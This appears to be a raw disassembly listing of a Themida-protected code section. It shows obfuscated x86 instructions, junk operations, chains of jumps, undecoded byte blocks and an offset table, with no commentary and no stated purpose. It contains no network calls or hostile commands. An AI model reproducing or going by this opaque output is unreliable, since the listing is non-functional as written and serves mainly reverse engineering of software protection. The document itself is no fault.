Themida_:005470CBj jmp loc_544B12 ; --------------------------------------------------------------------------- dd 0B569E95Dh, 2C81FFFFh, 0C263AD24h, 0C181593Dh, 3DC263ADh dd 0FF70FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_5506E9: ; CODE XREF: Themida_:00545CC1j xor [esp], ebx xor ebx, [esp] jmp loc_54DD05 ; --------------------------------------------------------------------------- dd 5848E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5506FA: ; CODE XREF: Themida_:0054605Ej add edx, 4 xchg edx, [esp] jmp loc_54C8B2 ; --------------------------------------------------------------------------- dd 2434FF5Ch, 3A046858h, 34890000h, 555E5424h, 95063FBDh dd 6319E971h, 0E789FFFFh, 4C781h, 0BD550000h, 4, 0ECE9EF29h db 91h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550737: ; CODE XREF: Themida_:00546DDAj add eax, 2CCC7938h pop ebp push ecx mov ecx, 314E7186h xor ecx, 20633CF5h push 7E0Dh mov [esp], ecx jmp loc_54EE15 ; --------------------------------------------------------------------------- dw 0B850h dd 682832CEh, 0FF51E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_550761: ; CODE XREF: Themida_:0054A651j sub bl, 1Ch push eax mov al, 6Fh push cx mov cl, 0CDh sub al, cl pop cx sub esp, 4 mov [esp], ecx push edx mov dh, 0FDh mov ch, dh pop edx sub ch, 0CBh sub ch, 0EFh add bl, ch pop ecx add bl, al jmp loc_550036 ; --------------------------------------------------------------------------- dw 0E6C0h dd 34F68004h, 8049B551h, 0F4E952F5h, 81FFFFFEh, 480D3BF6h dd 0E9F52963h, 0FFFF65BCh, 55E08950h, 4BDh, 5DE80100h dd 4EC81h, 1C890000h, 0F076E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5507C6: ; CODE XREF: Themida_:0054F80Cj xor ebp, ebx pop ebx and eax, ebp mov ebp, [esp] push edi jmp loc_54E877 ; --------------------------------------------------------------------------- dd 4C18158h, 87000000h, 248B240Ch, 4EC8124h, 0E9000000h dd 0FFFF9FB7h, 4C481h, 515B0000h, 42474FFh, 454AE959h dd 835CFFFFh, 3C8702C7h, 8B665C24h, 53502404h, 0FF6397E9h dd 585450FFh, 21FEBF57h, 0C7816599h, 7A866521h, 6C4BC781h dd 0E9500562h, 0FFFFAB7Bh, 0C781E789h, 4, 0B027E955h, 3433FFFFh dd 24343124h, 5C243433h, 54240489h, 40558h, 0B5E90000h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550853: ; CODE XREF: Themida_:0054F53Aj add esi, edx add esi, 5D4104C6h jmp loc_54EEDB ; --------------------------------------------------------------------------- loc_550860: ; CODE XREF: Themida_:0054F297j pop esp push 1703h mov [esp], edi mov edi, esp sub esp, 4 jmp loc_54BEFB ; --------------------------------------------------------------------------- loc_550876: ; CODE XREF: Themida_:0054CE72j neg esi shl esi, 6 shl esi, 4 xor esi, 69B3B038h xor esi, 26E27442h neg esi dec esi push edx mov edx, 0FFFFFFFFh sub esi, edx pop edx push ebx mov ebx, 71F355F2h sub ebx, 2589415Ch shl ebx, 4 sub ebx, 5E7A7722h add esi, ebx mov ebx, [esp] add esp, 4 add eax, esi pop esi mov esi, eax mov eax, [esp] jmp loc_545578 ; --------------------------------------------------------------------------- loc_5508C3: ; CODE XREF: Themida_:00549DF5j sub esi, 75577B58h sub esi, ecx add esi, 75577B58h pop ecx and eax, esi mov esi, [esp] push 3DEFh mov [esp], ebp mov ebp, esp jmp loc_550F4D ; --------------------------------------------------------------------------- loc_5508E6: ; CODE XREF: Themida_:0054D10Dj xor eax, esi pop esi push 38EBh mov [esp], esi push edi mov edi, 54393FE0h jmp loc_54A32A ; --------------------------------------------------------------------------- dd 88DAED80h, 0C0E6E9E8h, 8B66FFFFh, 5453240Ch, 0FF843DE9h dd 5C6859FFh, 89000009h, 1BE2434h, 21000000h, 2434FFF0h dd 4568535Eh, 89000075h, 4832424h, 0E95B0424h, 0FFFFAE7Eh dd 0E924148Bh, 0FFFFCB0Bh ; --------------------------------------------------------------------------- loc_550940: ; CODE XREF: Themida_:0054FBC0j pop edx jmp loc_54D521 ; --------------------------------------------------------------------------- dw 5350h dd 0E658A2BBh, 0CDCEE96Fh, 34FFFFFFh, 0C4815D24h, 4, 0FFF3F9E9h dd 66CC88FFh, 0A9C48059h, 48BE530h, 4C48324h, 6659EE20h dd 6651CA68h, 0E9240489h, 0FFFFEA90h, 31240433h, 4332404h dd 0E899E924h, 665AFFFFh, 0E9242C8Bh, 0FFFFAB5Fh, 0E381DBF7h dd 31A97119h, 0FF8421E9h, 0BCE95BFFh, 81FFFFE7h, 547FAEF1h dd 7E9C131h, 0FF4DD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_5509B9: ; CODE XREF: Themida_:00550D83j pop ecx add esp, 4 push ebx jmp loc_54BBF4 ; --------------------------------------------------------------------------- db 2Dh dd 44EE2CB3h, 0E9D8295Eh, 0FFFFE820h ; --------------------------------------------------------------------------- loc_5509D0: ; CODE XREF: Themida_:00550363j pop edx push dword ptr [esp] jmp loc_54D6BD ; --------------------------------------------------------------------------- loc_5509D9: ; CODE XREF: Themida_:00546FBCj mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 push 517Bh mov [esp], ebp mov ebp, 3EEB5FB5h jmp loc_548809 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 0FF9F7EE9h, 38B9B9FFh, 35E91938h, 0ADFFFF58h, 0FF768CE9h dd 58C531FFh, 89E9E801h, 80FFFF9Bh, 0B5513DE7h, 7F8FE99Eh dd 0A4B5FFFFh, 5159E888h, 0C181E189h, 4, 8704E983h, 895C240Ch dd 13B62414h, 0F700EDB7h, 0FF610BE9h, 81555DFFh, 5AA3242Ch dd 5584685h, 46855AA3h, 656DE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A66: ; CODE XREF: Themida_:00546B0Cj mov [ebx], dh pop edx pop ebx jmp loc_544B12 ; --------------------------------------------------------------------------- loc_550A6F: ; CODE XREF: Themida_:0054BE1Ej push edi mov edi, 1C8E6AC1h jmp loc_54F9AF ; --------------------------------------------------------------------------- loc_550A7A: ; CODE XREF: Themida_:005468EDj push dword ptr [edi+1Ch] jmp loc_545607 ; --------------------------------------------------------------------------- dw 0C483h dd 4C78104h, 53000000h, 7F0DAEBBh, 4EC811Eh, 0E9000000h dd 0FFFF8A0Fh, 0B850DAF7h, 0DDB9B842h, 0FF82EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_550AA9: ; CODE XREF: Themida_:0054BACFj pop ecx push esi mov esi, esp jmp loc_547B7A ; --------------------------------------------------------------------------- dw 0C181h dd 0F7B9D2EEh, 5CCEC281h, 0CA01144Ch, 5CCEEA81h, 5259144Ch dd 42474FFh, 0FF45C9E9h, 66D000FFh, 0BEE95A5Ah, 81FFFFE1h dd 4C1h, 4C18300h, 5C240C87h, 8B243487h, 8CE92424h, 8F000003h dd 248B2404h, 2424D224h, 4010E99Ch, 34FFFFFFh, 7384E924h dd 3E9FFFFh db 40h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B0F: ; CODE XREF: Themida_:0054C079j sub esi, 0A8DF38D3h push 4BFEh mov [esp], esi push dword ptr [esp] jmp loc_546305 ; --------------------------------------------------------------------------- db 5Ch, 66h, 8Bh dd 0EC832404h, 24148904h, 0B9515A54h, 62BA21C2h, 0CCB85049h dd 3536723Ch, 284B0EC0h, 0FF6ED6E9h db 0FFh ; --------------------------------------------------------------------------- loc_550B49: ; CODE XREF: Themida_:00545ACBj mov eax, 0CAD525Bh add eax, 3850035Eh jmp loc_546596 ; --------------------------------------------------------------------------- loc_550B58: ; CODE XREF: Themida_:00549503j sub dword ptr [esp], 32BE5FA8h pop edx add edx, 32BE5FA8h pop edi jmp loc_545D79 ; --------------------------------------------------------------------------- loc_550B6C: ; CODE XREF: Themida_:0054D6DBj xchg eax, [esp] pop esp jmp loc_54854E ; --------------------------------------------------------------------------- db 5Dh, 83h, 0C7h dd 688EE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550B7E: ; CODE XREF: Themida_:0054D885j neg esi dec esi and esi, 1FD30056h neg esi jmp loc_54A234 ; --------------------------------------------------------------------------- loc_550B8E: ; CODE XREF: Themida_:0054C4BAj pop esi push eax mov eax, 35A7339Ch neg eax and eax, 5A0D7F00h shl eax, 3 sub eax, 7D119ABh sub ebx, eax mov eax, [esp] add esp, 4 add ebx, 2D7F6AB4h mov ecx, [ebx] jmp loc_54DA36 ; --------------------------------------------------------------------------- dd 150D00BEh, 0F1F68135h, 311DC707h, 0EE2AE9F0h, 0ED80FFFFh dd 8BE80060h, 0E957240Ch, 0FFFF5939h, 0C789C889h, 588FE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550BE6: ; CODE XREF: Themida_:00549361j ; Themida_:0054A850j push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 sub ebp, ecx pop ecx jmp loc_547586 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 0FF3F0DE9h, 0C8B66FFh, 1BDE924h, 0EC810000h, 4, 0FFBEDCE9h dd 0BEC181FFh, 19ACFDEh, 0D70159CAh, 0FFE40AE9h db 0FFh ; --------------------------------------------------------------------------- loc_550C29: ; CODE XREF: Themida_:00545476j push ecx mov ecx, esp jmp loc_54A94B ; --------------------------------------------------------------------------- loc_550C31: ; CODE XREF: Themida_:0054EB43j sub ebx, 344A7BC2h not ebx shl ebx, 8 jmp loc_549AC1 ; --------------------------------------------------------------------------- db 66h, 31h, 3Ch dd 3C336624h, 58E2E924h, 0A8B2FFFFh, 0FE6AE280h, 3E2C0CAh dd 0C5FEEA86h, 0E4E9EA86h, 68FFFFECh, 43CDh, 81E38953h dd 4C3h, 4B95100h, 29000000h, 70E959CBh db 56h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C7F: ; CODE XREF: Themida_:0054A95Aj pop dword ptr [esp] pop esp jmp loc_54EBAD ; --------------------------------------------------------------------------- aCxfh db 8,'ГXfh',0 dw 2800h dd 3C8A243Ch, 71ECE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550C9A: ; CODE XREF: Themida_:00549940j inc ecx add ecx, 0DF26C307h jmp loc_5504DE ; --------------------------------------------------------------------------- dw 0C483h dd 3DAE904h, 0C2830000h, 848CE902h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550CB6: ; CODE XREF: Themida_:00545863j push eax jmp loc_54805E ; --------------------------------------------------------------------------- dd 8124048Fh, 42404h, 48F0000h, 5DE924h, 875F0000h, 248B241Ch dd 240CD324h, 3E34E99Ch, 8966FFFFh, 2BE9240Ch, 0C0FFFF3Eh dd 0EA8003EAh, 5AD588BFh, 2EF16866h, 240C8966h, 0FFA5F8E9h db 0FFh ; --------------------------------------------------------------------------- loc_550CFD: ; CODE XREF: Themida_:0054A5F3j push edx mov edx, 4 add ebp, edx pop edx xchg ebp, [esp] pop esp push 41A4h jmp loc_546DCB ; --------------------------------------------------------------------------- loc_550D14: ; CODE XREF: Themida_:00549AD9j xor edx, 6A5C51FFh jmp loc_54D963 ; --------------------------------------------------------------------------- db 8Bh dd 24D32424h, 17E99C24h, 81FFFFF7h, 42404h, 48F0000h, 4EC8324h dd 0BE243489h, 4, 0FF7258E9h, 98E959FFh, 81FFFF4Fh, 523B07C2h dd 12CA816Eh, 57115267h, 22D0BA52h, 0D7892ECDh, 0BDBB535Ah dd 815CC36Eh, 0E373ABF3h, 94E3E948h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D72: ; CODE XREF: Themida_:005450E0j mov edx, [esp] add esp, 4 sub [esp+4], esi pop esi push dword ptr [esp] jmp loc_5509B9 ; --------------------------------------------------------------------------- loc_550D88: ; CODE XREF: Themida_:00549066j xor edx, 0E7772C87h add eax, edx pop edx push ebp mov ebp, 4 sub eax, 5F590F9Bh add eax, ebp add eax, 5F590F9Bh mov ebp, [esp] add esp, 4 xchg eax, [esp] mov esp, [esp] jmp loc_5505AF ; --------------------------------------------------------------------------- dd 0E749E95Fh, 735FFFFh, 2D41691Fh, 0EF1BC485h, 18E9C689h dd 50FFFF82h, 0FFCDF6E9h db 0FFh ; --------------------------------------------------------------------------- loc_550DD1: ; CODE XREF: Themida_:00547C6Ej add esp, 4 add edi, 4 jmp loc_54AB87 ; --------------------------------------------------------------------------- dd 0E9028F64h, 0FFFF3D2Eh ; --------------------------------------------------------------------------- loc_550DE4: ; CODE XREF: Themida_:00548DD5j jz loc_544F4D sub esp, 4 mov [esp], ebx mov ebx, 1Ch push esi mov esi, 668A2565h push ebp jmp loc_546848 ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 92BB5351h, 897A4A1Ch, 0B1E95BD9h, 1FFFFF8h, 921FE9C6h dd 0A105FFFFh, 8B05692Ch, 57E9242Ch, 0FFFFFFE9h, 34FF2434h dd 0BFE95924h, 89FFFF63h, 4C181E1h, 81000000h, 4C1h, 240C8700h dd 555B685Ch, 3C890000h, 2BF24h, 0FD010000h, 0D07CE95Fh dd 815AFFFFh, 0F9ECE0C6h, 5EF32954h, 0C381FB01h, 55B11053h dd 5F2434FFh, 0FFCB99E9h, 472368FFh, 34E90000h, 0FFFFFF80h dd 56582434h, 0C681E689h, 4, 274768h, 240C8900h, 19E4B850h dd 0E9555310h, 0FFFFE424h, 8B2434FFh, 0C4812404h, 4, 81595451h dd 4C1h, 66E95000h, 89FFFF7Eh, 635BE9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550EC2: ; CODE XREF: Themida_:0054EC1Dj mov [esp], ebp mov ebp, esp push 6FA7h jmp loc_54825A ; --------------------------------------------------------------------------- db 51h, 0FFh, 0Ch dd 0F1815924h, 723C5A52h, 0E906E1C1h, 0FFFFF1A6h, 0AAFBE953h dd 48BFFFFh, 4C48124h, 81000000h, 0B1A97FF6h, 1C77219Fh dd 8324348Bh, 0BE904C4h, 0E9FFFF3Ch, 0FFFF3C06h, 9663E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F12: ; CODE XREF: Themida_:00547B67j push eax jmp loc_54CB54 ; --------------------------------------------------------------------------- dd 56D831ADh, 0BB53E689h, 5B645153h, 77F2EB81h, 26E9179Ch db 45h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F2F: ; CODE XREF: Themida_:00549E06j mov eax, 16EE23A2h mov edx, 16EE23A3h jmp loc_54DFA3 ; --------------------------------------------------------------------------- loc_550F3E: ; CODE XREF: Themida_:00546E67j pop edi push edx xor dword ptr [esp], 3ADC283Eh pop esi jmp loc_546B99 ; --------------------------------------------------------------------------- loc_550F4D: ; CODE XREF: Themida_:005508E1j push ecx mov ecx, 4 add ebp, ecx mov ecx, [esp] add esp, 4 add ebp, 4 jmp loc_549C26 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 41h dd 53FFFFA0h, 0C381E389h, 4, 8704C383h, 248B241Ch, 0D9A4E924h dd 4BAFFFFh, 0E9000000h, 0FFFFB663h, 512D68h, 0B5FFE900h dd 1C89FFFFh, 386824h, 15B0000h, 0C5E950D3h, 54FFFFEBh dd 5E2434FFh, 57E68956h, 0FF79FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_550FB9: ; CODE XREF: Themida_:0054C6E5j sub edi, eax add edi, 1E5B00F1h jmp loc_548089 ; --------------------------------------------------------------------------- dw 5146h dd 6D2D31B9h, 8E9C129h, 4F6CE981h, 0CE09DC5Dh, 94C68159h dd 29A7D078h, 970FE9F5h, 0C789FFFFh, 97055A58h, 14C1C3Bh dd 3B972DF8h, 15F4C1Ch, 27B2DD8h, 0A4687290h, 89000044h dd 4EBE2434h, 1706D4Ch, 24348BF0h, 6804C483h, 29CBh, 89243C89h dd 76BD55E7h, 81105778h, 577872F5h, 0E73FE910h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55102E: ; CODE XREF: Themida_:0054C4FDj push ebx jmp loc_54D112 ; --------------------------------------------------------------------------- dd 0F604C483h, 35F580DDh, 0E904EDC0h, 0FFFF94ABh, 0E8AEEF81h dd 0FCE91FC4h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55104F: ; CODE XREF: Themida_:005478C2j add ebp, ebx jmp loc_54BA8F ; --------------------------------------------------------------------------- dw 0AE68h dd 89000062h, 0C0682414h, 5A13D214h, 0EDBBC281h, 3E95EBDh dd 68FFFFD9h, 47AAh, 54241489h, 4C2815Ah, 83000000h, 0E95204C2h dd 0FFFFF2F6h, 513368h, 0F535E900h, 4BFFFFFh, 89000000h dd 0CA295FF9h, 74FF5259h, 8F5A0424h, 248B2404h, 242C8924h dd 0E3441DBDh, 0DE38E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5510B6: ; CODE XREF: Themida_:00548F3Aj add edx, ebx mov ebx, [esp] add esp, 4 jmp loc_544B12 ; --------------------------------------------------------------------------- db 80h dd 0B6520CEBh, 80D6F68Ah, 0F300EBEEh, 79B0505Ah, 0F58C328h dd 34FFC0B6h, 51906887h, 34890000h, 68C66824h, 0C890000h dd 6E4B924h, 0CE893875h, 0E9240C8Bh, 0FFFFEA48h, 28B6664h dd 346D6866h, 24048966h, 0FF3A05E9h db 0FFh ; --------------------------------------------------------------------------- loc_55110D: ; CODE XREF: Themida_:0054A3E3j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push 69C3h mov [esp], ebp mov ebp, 40DC5588h jmp loc_54FF87 ; --------------------------------------------------------------------------- db 68h dd 6F85h, 0E9240C89h, 0FFFF5FA5h, 5489B951h, 0E981042Bh dd 4DA7CF6h, 0CC84E941h, 481FFFFh, 0FB738B24h, 240C8B1Bh dd 5504C483h, 5E3A3868h, 0B8E95D64h, 0F7FFFF9Dh, 4E181D1h dd 0E96CBA7Ah, 0FFFF3C4Ah, 52FAB951h, 0C8292C60h, 7CE96859h dd 0ECE90000h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551183: ; CODE XREF: Themida_:00546F3Fj mov [esp], ebp push edi jmp loc_545AB1 ; --------------------------------------------------------------------------- dd 2004D0F6h, 6658C228h, 0C041E951h, 2489FFFFh, 24048124h dd 4, 0B8B7E95Ah, 815AFFFFh, 4C04246Ch, 0E9230D26h, 0FFFFE735h ; --------------------------------------------------------------------------- loc_5511B8: ; CODE XREF: Themida_:0054ED58j push ecx mov ecx, 2EB370E3h inc ecx jmp loc_54FA65 ; --------------------------------------------------------------------------- aITZ db 'К',8,'[Tц',27h,'Z',0 dd offset dword_5A1C50 dd 5FCBh, 0FA0BCD6Fh, 5FCBh, 0 dd 217h, 2, 1, 5, 0FA0BCD6Fh, 5 dup(0) dd offset byte_560F31 dd offset byte_554B11 dd offset byte_565C27 dd offset byte_5581FB dd offset word_563476 dd offset byte_558499 dd offset byte_552509 dd offset word_55E3C6 dd offset word_56604A dd offset word_565802 dd offset aWhg ; "Whg=" dd offset byte_558BA5 dd offset byte_551CA7 dd offset byte_555B05 dd offset word_55B592 dd offset byte_5597BF dd offset byte_5595ED dd offset byte_55C105 dd offset word_5518FA dd offset byte_5609F1 dd offset word_55E646 dd offset dword_55CDF0 dd offset byte_55774F dd offset dword_55C87C dd offset byte_55F629 dd offset dword_5585CC dd offset dword_55F4DC dd offset byte_562031 dd offset word_558586 dd offset byte_5648ED dd offset aMsL ; "╛Ипl" dd offset byte_557549 dd offset word_5625D6 dd offset dword_552D00 dd offset byte_55382B dd offset dword_55B434 dd offset word_55F6AE dd offset byte_563B3F dd offset dword_557804 dd offset dword_557400 dd offset byte_55A6C3 dd offset word_55970E dd offset dword_565E74 dd offset dword_561DC4 dd offset byte_565E45 dd offset dword_556E54 dd offset dword_556414 dd offset word_5655EA dd offset dword_55F3A4 dd offset byte_55EE33 dd offset word_56540E dd offset byte_556213 dd offset dword_5545BC dd offset word_56686A dd offset byte_556141 dd offset aNh ; "╜hм<" dd offset byte_561AF7 dd offset byte_55CF49 dd offset byte_554613 dd offset dword_556DE4 dd offset dword_562BA8 dd offset word_55FA02 dd offset aMhp ; "╛h╞>" dd offset byte_553B67 dd offset word_565A62 dd offset dword_55CA84 dd offset byte_5636CD dd offset word_554256 dd offset byte_554C7B dd offset byte_563903 dd offset word_5555D6 dd offset byte_560A8F dd offset dword_55B544 dd offset byte_55D5D3 dd offset byte_55D80F dd offset word_566542 dd offset word_553166 dd offset byte_562CE7 dd offset byte_5666EF dd offset byte_56052D dd offset byte_562FA9 dd offset aM0Hx ; "╛0ьh∙<" dd offset dword_563244 dd offset word_564566 dd offset byte_56315F dd offset byte_55CEA5 dd offset aN1Sgc ; "╜1ьИg√" dd offset word_55F402 dd offset byte_55BDC1 dd offset dword_55C9D0 dd offset byte_5534EB dd offset word_55B8BA dd offset dword_55415C dd offset dword_555DD8 dd offset aLShs ; "▀$$ИH≤" dd offset byte_552B39 dd offset word_56671E dd offset byte_56436F dd offset byte_5565C1 dd offset word_554F8E dd offset byte_55CFBD dd offset word_55B0C2 dd offset word_55A7A6 dd offset byte_55978D dd offset dword_553960 dd offset word_55D9E6 dd offset aFnssA ; "f╜SИиA" dd offset byte_561D47 dd offset dword_55DA7C dd offset word_563B6A dd offset byte_5536A5 dd offset dword_55F290 dd offset dword_557CB0 dd offset byte_558B87 dd offset byte_55A739 dd offset byte_5660A9 dd offset byte_564289 dd offset dword_55F3E4 dd offset byte_556CF1 dd offset byte_5661D1 dd offset word_56605A dd offset byte_556AE7 dd offset word_552C82 dd offset byte_565471 dd offset aNs3 ; "╜И3╪" dd offset byte_562305 dd offset word_5591FA dd offset word_55E4D2 dd offset off_557435 dd offset byte_562AD7 dd offset byte_55887B dd offset byte_55B68D dd offset dword_55CA7C dd offset byte_55A1BF dd offset word_564AD2 dd offset word_55A0E6 dd offset word_564036 dd offset byte_55D861 dd offset byte_55D9EF dd offset byte_561A05 dd offset word_565CEE dd offset word_563956 dd offset dword_564390 dd offset byte_55D72D dd offset dword_55F0C0 dd offset byte_55F049 dd offset byte_561667 dd offset byte_565E97 dd offset byte_561471 dd offset byte_55AD0F dd offset byte_5522EB dd offset word_55C9A2 dd offset byte_55F61D dd offset byte_555F3D dd offset byte_5623E3 dd offset byte_561ECB dd offset byte_55AE4F dd offset dword_5529F4 dd offset aNsI ; "╜Ищ┴" dd offset byte_55195D dd offset dword_55A5B4 dd offset byte_5530FD dd offset aM0Sg_ ; "╛0ьИG_" dd offset byte_55569B dd offset word_5608A2 dd offset dword_55B248 dd offset dword_55F6FC ; --------------------------------------------------------------------------- loc_5514A4: ; CODE XREF: Themida_:005980F0j ; Themida_:0059B4BEj pusha pushf cld call $+5 pop edi sub edi, 649473Dh mov eax, edi add edi, 6494455h cmp eax, [edi+2Ch] jnz short loc_5514C2 jmp short loc_5514D5 ; --------------------------------------------------------------------------- loc_5514C2: ; CODE XREF: Themida_:005514BEj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5514D1 ; --------------------------------------------------------------------------- loc_5514CC: ; CODE XREF: Themida_:005514D3j add [edi+ecx*4+40h], eax dec ecx loc_5514D1: ; CODE XREF: Themida_:005514CAj or ecx, ecx jnz short loc_5514CC loc_5514D5: ; CODE XREF: Themida_:005514C0j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_5514E2: ; CODE XREF: Themida_:005514E9j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_5514E2 loc_5514EB: ; CODE XREF: Themida_:005518F5j ; Themida_:loc_5527F9j ... lodsb push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_564578 ; --------------------------------------------------------------------------- loc_5514FE: ; CODE XREF: Themida_:005606B2j sub ebp, edx pop edx push ebp push dword ptr [esp+4] jmp loc_55C121 ; --------------------------------------------------------------------------- db 89h dd 6853242Ch, 2B56695Ch, 2A08E95Bh, 0EE830001h, 24348704h dd 673E95Ch, 57590001h, 3040E951h, 0C15E0001h, 6EE907E7h dd 81000047h, 42404h, 835B0000h, 9FE904ECh, 0FF00009Ch dd 815B2434h, 4C4h, 58C20100h, 40BE68h, 242C8900h, 2BA52h dd 5D520000h, 0A4C2815Ah, 1694068h, 89B951EAh, 0C1673F2Eh dd 0F18106E1h, 0A68BCAE4h, 5D59CA29h, 31241433h, 14332414h dd 24248B24h, 24048B66h, 0DD14E950h, 0E9550000h, 4CC3h dd 2474FF53h, 241C8B04h, 0C50FE9h, 4C48100h, 0E9000000h dd 0E460h, 241C8B66h, 2C481h, 0A8040000h, 0F7E98004h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5515C7: ; CODE XREF: Themida_:0055F220j pop edx jmp loc_559152 ; --------------------------------------------------------------------------- db 0B2h, 0CDh, 0 dd 0E3005AD4h, 80CB2858h, 9CE994EBh, 53000082h, 2C68EF88h dd 89000021h, 0F988240Ch, 2EE9CA88h, 34000096h, 4B01E9F0h db 1, 0 ; --------------------------------------------------------------------------- loc_5515FA: ; CODE XREF: Themida_:00562B75j and eax, ebp mov ebp, [esp] push edi mov edi, esp jmp loc_5573E9 ; --------------------------------------------------------------------------- db 80h dd 665A76ECh, 0E9DFB450h, 1336h, 772F6850h, 0C158143Eh dd 0E90503E0h, 8968F492h, 0D70158C2h, 8124148Bh, 4C4h dd 42F78100h, 0C173834Eh, 0C78104EFh, 52B60FC4h, 815FFB01h dd 0E818B8C3h, 0B4E95602h db 0D4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55164F: ; CODE XREF: Themida_:005666ACj push ebx push eax mov al, dl jmp loc_5623B1 ; --------------------------------------------------------------------------- loc_551658: ; CODE XREF: Themida_:00563016j push ebp sub esp, 4 mov [esp], ecx mov ecx, 604D113Bh jmp loc_55EE63 ; --------------------------------------------------------------------------- loc_551669: ; CODE XREF: Themida_:005663D4j mov eax, [esp] jmp loc_55B428 ; --------------------------------------------------------------------------- loc_551671: ; CODE XREF: Themida_:0055A959j push edx push 773Fh mov [esp], eax mov eax, 771B03DBh neg eax jmp loc_555E21 ; --------------------------------------------------------------------------- loc_551686: ; CODE XREF: Themida_:005642FCj mov esi, 35172632h jmp loc_55DB2B ; --------------------------------------------------------------------------- dd 0F1005B66h, 0AB1CE9h, 5D80100h, 7FF600C0h, 2404335Bh dd 33240431h, 0E95C2404h, 0FFFFFE3Bh, 52509EB3h, 0AA71E9h dd 241C8B00h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp add ecx, 2 push ecx push dword ptr [esp+4] push dword ptr [esp] pop ecx jmp loc_552DC7 ; --------------------------------------------------------------------------- loc_5516DD: ; CODE XREF: Themida_:00551764j pop eax add esp, 4 push 2F7Dh mov [esp], edx push edi push 214339C4h jmp loc_5570BE ; --------------------------------------------------------------------------- dd 2A31EF81h, 0FA0130C2h, 0EB9EE95Fh, 0EC830000h, 24048904h dd 8904EC83h, 0AE68241Ch, 5B2EDF02h, 19C5B850h, 0BE5625D1h dd 4A731B5Dh, 2D5EF029h, 0AC7EFBBEh, 8958C331h, 0C5015BD8h dd 582434FFh, 40ACE953h db 1, 0 ; --------------------------------------------------------------------------- loc_55173A: ; CODE XREF: Themida_:00553F20j xor ecx, 69497E30h push edx mov edx, ecx mov esi, edx pop edx mov ecx, [esp] jmp loc_552FA2 ; --------------------------------------------------------------------------- loc_55174E: ; CODE XREF: Themida_:0055E711j mov [esp], ebx mov ebx, 1B665E54h add [esp+4], ebx push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] jmp loc_5516DD ; --------------------------------------------------------------------------- loc_551769: ; CODE XREF: Themida_:0056414Fj sub al, bl jmp loc_556D03 ; --------------------------------------------------------------------------- dd 22FFE956h, 348B0000h, 4C48124h, 83000000h, 6C8104C4h dd 126E0424h, 5C296FDAh, 5DE90424h db 55h, 1, 0 ; --------------------------------------------------------------------------- loc_551793: ; CODE XREF: Themida_:00562E92j sub ebx, 2D9F3429h pop ebp push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] jmp loc_560E98 ; --------------------------------------------------------------------------- db 81h dd 5E7EAEEBh, 0E9DBF70Fh, 1C54h ; --------------------------------------------------------------------------- loc_5517B8: ; CODE XREF: Themida_:00566665j inc ebx dec ebx add ebx, 1B422AC6h jmp loc_5622C0 ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 67136856h, 815E4A4Ah, 0A24713CEh, 0C3E9513Ch db 92h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5517DB: ; CODE XREF: Themida_:005521DBj mov [esp], edi push 6792h mov [esp], esp add dword ptr [esp], 4 mov edi, [esp] jmp loc_5558AC ; --------------------------------------------------------------------------- loc_5517F5: ; CODE XREF: Themida_:0055533Fj inc edx add edx, 0FFC203CDh sub ebp, 936A42h add ebp, edx add ebp, 936A42h mov edx, [esp] add esp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_556E3D ; --------------------------------------------------------------------------- db 8Bh dd 34FF2424h, 54505924h, 40558h, 0AAE90000h, 50000032h dd 3355EEB8h, 4815057h, 0BD44F824h, 0ED815D1Ch, 1CBD44F8h db 8Bh, 4, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_5619A9 ; --------------------------------------------------------------------------- loc_551859: ; CODE XREF: Themida_:00560300j add esp, 4 pop dword ptr [esp] jmp loc_557A53 ; --------------------------------------------------------------------------- dd 0E953C4B2h, 11FB9h ; --------------------------------------------------------------------------- loc_55186C: ; CODE XREF: Themida_:00557C66j pop eax mov esi, [esp] jmp loc_5571F3 ; --------------------------------------------------------------------------- db 5Dh, 81h, 0C5h dd 4, 0E081E9h db 0 ; --------------------------------------------------------------------------- 